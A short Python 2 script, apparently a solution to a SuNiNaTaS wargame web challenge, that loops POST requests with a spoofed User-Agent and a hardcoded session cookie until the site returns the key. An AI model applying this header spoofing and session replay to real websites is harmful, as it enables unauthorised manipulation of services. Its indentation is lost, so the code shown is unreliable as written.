import urllib, urllib2, sys
url = "http://suninatas.com/Part_one/web04/web04_ck.asp"
url2 = "http://suninatas.com/Part_one/web04/web04.asp"
dat = {'total': '49'}
dat = urllib.urlencode(dat)
for i in range(50):
req = urllib2.Request(url, dat,headers={'Host':'suninatas.com',
'User-Agent': 'SuNiNaTaS',
'Cookie': 'ASPSESSIONIDCCRBCADD=BBDHFPOCLPILDJPDNCKOAPKN'})
res = urllib2.urlopen(req).read()
req = urllib2.Request(url2, dat, headers={'Host':'suninatas.com',
'User-Agent': 'SuNiNaTaS',
'Cookie': 'ASPSESSIONIDCCRBCADD=BBDHFPOCLPILDJPDNCKOAPKN'})
res = urllib2.urlopen(req).read()
if ">?????" not in res:
print "[*]Find Key : "
print res
sys.exit(1)